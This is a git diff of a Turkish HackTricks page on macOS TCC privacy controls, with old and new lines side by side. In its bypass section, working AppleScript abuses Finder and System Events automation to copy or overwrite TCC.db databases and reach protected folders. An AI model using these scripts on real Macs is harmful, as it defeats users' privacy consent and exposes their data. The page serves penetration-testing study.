[Key] com.apple.private.tcc.allow-prompting [Key] com.apple.private.tcc.allow-prompting
[Value] [Value]
[Array] [Array]
[String] kTCCServiceAll [String] kTCCServiceAll
``` ```
**Tüm TCC izinlerini talep etmek için** işleme izin verin.
### **`kTCCServicePostEvent`** ### **`kTCCServicePostEvent`**
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Tüm TCC izinlerini istemek için işleme izin verin</strong></summary>
HackTricks'i desteklemenin diğer yolları: Diğer HackTricks'i destekleme yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. * Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,37 +2,37 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. * 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## **Temel Bilgiler** ## **Temel Bilgiler**
**TCC (Transparency, Consent, and Control)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açık kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sağlar. **TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açıkça kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sahibi olmalarını sağlar.
Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, uygulamaların yalnızca açıkça izin verilenlere erişim sağlamak için belirli dosyalara erişim sağlamak için **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler. Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların yalnızca açıkça izin verilenlere erişim sağlamasını sağlar.
![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) ![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder). **TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder).
Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder. Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder.
Burada sistem olarak çalışan tccd ve kullanıcı olarak çalışan tccd'yi görebilirsiniz: Burada sistem olarak çalışan tccd'yi ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
```bash ```bash
ps -ef | grep tcc ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
``` ```
İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre **izlenir**. İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre izlenir.
### TCC Veritabanları ### TCC Veritabanları
@ -55,7 +55,7 @@ Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpoin
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir. - SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir.
{% hint style="success" %} {% hint style="success" %}
**iOS**'deki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. **iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
@ -127,12 +127,12 @@ Her iki veritabanını da kontrol ederek bir uygulamanın izin verdiği, yasakla
{% endhint %} {% endhint %}
- **`service`**, TCC **izin** dizesinin temsilidir - **`service`**, TCC **izin** dizesinin temsilidir
- **`client`**, izinlere sahip olan veya izinlere sahip olmayan **bundle ID** veya **binary yoludur** - **`client`**, izinlere sahip olan **bundle ID** veya **binary yoludur**
- **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir - **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir
<details> <details>
<summary>Absolut yol ise nasıl yürütülür</summary> <summary>Absolut yol olduğunda nasıl yürütülür</summary>
Sadece **`launctl load you_bin.plist`** yapın, plist ile: Sadece **`launctl load you_bin.plist`** yapın, plist ile:
```xml ```xml
@ -171,11 +171,11 @@ Sadece **`launctl load you_bin.plist`** yapın, plist ile:
</dict> </dict>
</plist> </plist>
``` ```
</detaylar> </details>
* **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3). * **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3).
* **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* **csreq** alanı, yürütülecek olan ikili dosyanın nasıl doğrulanacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır: * **csreq** alanı, yürütülecek olan ikili dosyayı nasıl doğrulayacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır:
```bash ```bash
# Query to get cserq in printable hex # Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2; select service, client, hex(csreq) from access where auth_value=2;
@ -193,7 +193,7 @@ echo "X'$REQ_HEX'"
``` ```
* Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz. * Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz.
Ayrıca, `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünde uygulamalara verilen **izinleri kontrol edebilirsiniz**. Ayrıca, uygulamalara verilen izinleri `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünden kontrol edebilirsiniz.
{% hint style="success" %} {% hint style="success" %}
Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**. Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**.
@ -209,7 +209,7 @@ tccutil reset All
``` ```
### TCC İmza Kontrolleri ### TCC İmza Kontrolleri
TCC **veritabanı**, uygulamanın **Paket Kimliği**'ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**. TCC **veritabanı**, uygulamanın **Paket Kimliği**ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de depolar.
```bash ```bash
# From sqlite # From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2; sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -230,9 +230,9 @@ Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer u
### Yetkiler ve TCC İzinleri ### Yetkiler ve TCC İzinleri
Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\ Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\
Örneğin **Telegram**, kameraya **erişim istemek için** `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcıya izinler sorulmaz). Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcı izinleri bile istenmez).
Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmek** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.** Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.**
Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin: Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin:
```bash ```bash
@ -245,13 +245,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string> <string>kTCCServiceAddressBook</string>
</array> </array>
``` ```
Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir. Bu, Takvim'in kullanıcıya hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
{% hint style="success" %} {% hint style="success" %}
Yetkilendirmeler hakkında resmi belgelerin yanı sıra, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür. Yetkilendirmeler hakkında resmi belgelere ek olarak, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
{% endhint %} {% endhint %}
Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamakla birlikte, bu [bilinenlerin listesini](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz. Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamaktadır, ancak [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
### Hassas korunmasız yerler ### Hassas korunmasız yerler
@ -261,7 +261,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Kullanıcı Niyeti / com.apple.macl ### Kullanıcı Niyeti / com.apple.macl
Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir niteliği** olarak saklanacaktır. Bu nitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**: Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**:
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -282,7 +282,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez. Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez.
{% endhint %} {% endhint %}
`com.apple.macl` genişletilmiş özniteliği diğer genişletilmiş öznitelikler gibi **SIP tarafından korunduğu için** **temizlenemez**. Bununla birlikte, [**bu gönderideıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür. `com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP** tarafından korunduğu için **temizlenemez**. Bununla birlikte, [**bu yazıdaıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür.
## TCC Privesc & Bypasses ## TCC Privesc & Bypasses
@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Yükleri ### TCC Yükleri
Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kullanmak için TCC yükleri sayfasına bakın: Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için aşağıdaki sayfayı kontrol edin:
{% content-ref url="macos-tcc-payloads.md" %} {% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md) [macos-tcc-payloads.md](macos-tcc-payloads.md)
@ -345,13 +345,13 @@ Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kulla
### Otomasyon (Finder) için FDA\* ### Otomasyon (Finder) için FDA\*
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\ Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
Bu belirli TCC izni aynı zamanda TCC veritabanında yönetilebilecek **uygulamayı da belirtir** (yani izinler sadece her şeyi yönetmeye izin vermez). Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
**Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yaptırabilirsiniz**.\ **Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yapmasını sağlayabilirsiniz**.\
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır. Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
{% tabs %} {% tabs %}
{% tab title="Kullanıcıların TCC.db'sini Çalma" %} {% tab title="Kullanıcıların TCC.db dosyasını çalma" %}
```applescript ```applescript
# This AppleScript will copy the system TCC database into /tmp # This AppleScript will copy the system TCC database into /tmp
osascript<<EOD osascript<<EOD
@ -381,14 +381,14 @@ EOD
Bunu **kendi kullanıcı TCC veritabanınızı yazmak** için kullanabilirsiniz. Bunu **kendi kullanıcı TCC veritabanınızı yazmak** için kullanabilirsiniz.
{% hint style="warning" %} {% hint style="warning" %}
Bu izinle **finder'a TCC kısıtlı klasörlere erişim isteyebilecek** ve dosyaları alabileceksiniz, ancak bildiğim kadarıyla Finder'ı **keyfi kod yürütmeye zorlayamayacaksınız** ve FDA erişimini tam olarak kötüye kullanamayacaksınız. Bu izinle **finder'a TCC kısıtlı klasörlere erişim izni isteyebilir** ve dosyaları alabilirsiniz, ancak bildiğim kadarıyla Finder'ı **keyfi kod yürütmeye zorlayamazsınız** ve FDA erişimini tam olarak kötüye kullanamazsınız.
Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız. Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız.
{% endhint %} {% endhint %}
Bu, Finder üzerinde Otomasyon ayrıcalıklarını elde etmek için TCC isteği: Bu, Finder üzerinde Otomasyon ayrıcalıklarını almak için TCC isteği:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %} {% hint style="danger" %}
**Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz: **Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
@ -418,11 +418,11 @@ EOD
``` ```
</detaylar> </detaylar>
**Script Editor uygulaması** için aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız. **Script Editor uygulaması** için de aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız.
### Otomasyon (SE) bazı TCC'lere ### Otomasyon (SE) bazı TCC'lere
**Sistem Olayları** Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir: **Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
```bash ```bash
# Create script to execute with the action # Create script to execute with the action
cat > "/tmp/script.js" <<EOD cat > "/tmp/script.js" <<EOD
@ -464,11 +464,11 @@ EOD
touch "$HOME/Desktop/file" touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file" rm "$HOME/Desktop/file"
``` ```
### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\* ### Otomasyon (SE) + Erişilebilirlik (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**) için FDA\*
**`System Events`** üzerinde otomasyon + Erişilebilirlik (**`TCCServicePostEvent`**) işlemlere **tuş vuruşları göndermeyi** sağlar. Bu şekilde Finder'ı kötüye kullanarak kullanıcıların TCC.db'sini değiştirebilir veya FDA'yı herhangi bir uygulamaya verebilirsiniz (ancak bunun için şifre istenebilir). **`System Events`** üzerinde otomasyon + Erişilebilirlik (**`kTCCServicePostEvent`**) işlemlerine izin verir, bu sayede işlemlere tuş vuruşları gönderebilirsiniz. Bu şekilde Finder'ı kötüye kullanarak kullanıcıların TCC.db dosyasını değiştirebilir veya FDA'yı herhangi bir uygulamaya verebilirsiniz (ancak bunun için şifre istenebilir).
Finder'ın kullanıcıların TCC.db'sini üzerine yazma örneği: Finder'ın kullanıcıların TCC.db dosyasını üzerine yazma örneği:
```applescript ```applescript
-- store the TCC.db file to copy in /tmp -- store the TCC.db file to copy in /tmp
osascript <<EOF osascript <<EOF
@ -514,40 +514,40 @@ keystroke "v" using {command down}
end tell end tell
EOF EOF
``` ```
### `kTCCServiceAccessibility`'dan FDA\* a ### `kTCCServiceAccessibility`'dan FDA\* için
[**Erişilebilirlik izinlerini kötüye kullanmak için bazı payloadlar**](macos-tcc-payloads.md#accessibility) için bu sayfaya bakın ve örneğin FDA\* a yükselme veya bir tuş kaydedici çalıştırma. [**Erişilebilirlik izinlerini** kötüye kullanmak için bazı payloadlar için bu sayfaya](macos-tcc-payloads.md#accessibility) bakın ve örneğin FDA\* için ayrıcalık yükseltme veya bir tuş kaydedici çalıştırma.
### **FDA için Endpoint Güvenlik İstemcisi** ### **FDA için Endpoint Security Client**
Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. Son. Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. Son.
### Sistem Politikası SysAdmin Dosyası için FDA ### System Policy SysAdmin Dosyası için FDA
**`kTCCServiceSystemPolicySysAdminFiles`**, bir kullanıcının ev klasörünü değiştiren **`NFSHomeDirectory`** özniteliğini **değiştirmeyi** sağlar ve bu nedenle **TCC'yi atlamayı** sağlar. **`kTCCServiceSystemPolicySysAdminFiles`**, bir kullanıcının ev klasörünü değiştiren **`NFSHomeDirectory`** özniteliğini **değiştirmeyi** sağlar ve bu nedenle **TCC'yi atlamayı** mümkün kılar.
### Kullanıcı TCC DB'si için FDA ### Kullanıcı TCC DB'si için FDA
Kullanıcı TCC veritabanı üzerinde **yazma izinleri** elde ederek kendinize **`FDA`** izinleri veremezsiniz, yalnızca sistem veritabanında bulunan kişi bunu yapabilir. Kullanıcı TCC veritabanı üzerinde **yazma izinleri** elde etmek FDA izinlerini kendinize veremezsiniz, yalnızca sistem veritabanında yaşayan kişi bunu yapabilir.
Ancak kendinize **`Finder için Otomasyon hakları`** verebilir ve FDA\* a yükselmek için önceki teknikten yararlanabilirsiniz. Ancak kendinize **`Finder için Otomasyon hakları`** verebilir ve FDA\*'a yükseltmek için önceki teknikten yararlanabilirsiniz.
### **FDA'dan TCC izinlerine** ### **FDA'dan TCC izinlerine**
**Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`** **Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**
Bu gerçek bir yükselme değil gibi görünmüyor, ama yine de faydalı olabileceğini düşünüyorum: FDA'ya sahip bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize herhangi bir erişim verebilirsiniz**. Bu FDA izinlerinizi kaybedebileceğiniz durumlarda kalıcılık tekniği olarak kullanışlı olabilir. Bu gerçek bir ayrıcalık yükseltme olduğunu düşünmüyorum, ama yine de faydalı bulabilirsiniz: FDA'ya sahip bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize herhangi bir erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme ihtimaliniz olduğunda kalıcılık tekniği olarak faydalı olabilir.
### **SIP Atlatma'dan TCC Atlatma'ya** ### **SIP Atlatma ile TCC Atlatma**
Sistem **TCC veritabanı** **SIP** tarafından korunmaktadır, bu nedenle yalnızca belirtilen ayrıcalıklara sahip işlemler onu **değiştirebilecek**. Bu nedenle, bir saldırgan bir **SIP atlatma** bulursa (SIP tarafından kısıtlanmış bir dosyayı değiştirebilme), şunları yapabilir: Sistem **TCC veritabanı** SIP tarafından korunur, bu yüzden yalnızca belirtilen ayrıcalıklara sahip işlemler onu **değiştirebilecek**. Bu nedenle, bir saldırgan bir **SIP atlatma** bulursa (SIP tarafından kısıtlanmış bir dosyayı değiştirebilme), şunları yapabilir:
* Bir TCC veritabanının **korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir: * Bir TCC veritabanının korumasını **kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir:
* TCC sistem veritabanı * TCC sistem veritabanı
* REG.db * REG.db
* MDMOverrides.plist * MDMOverrides.plist
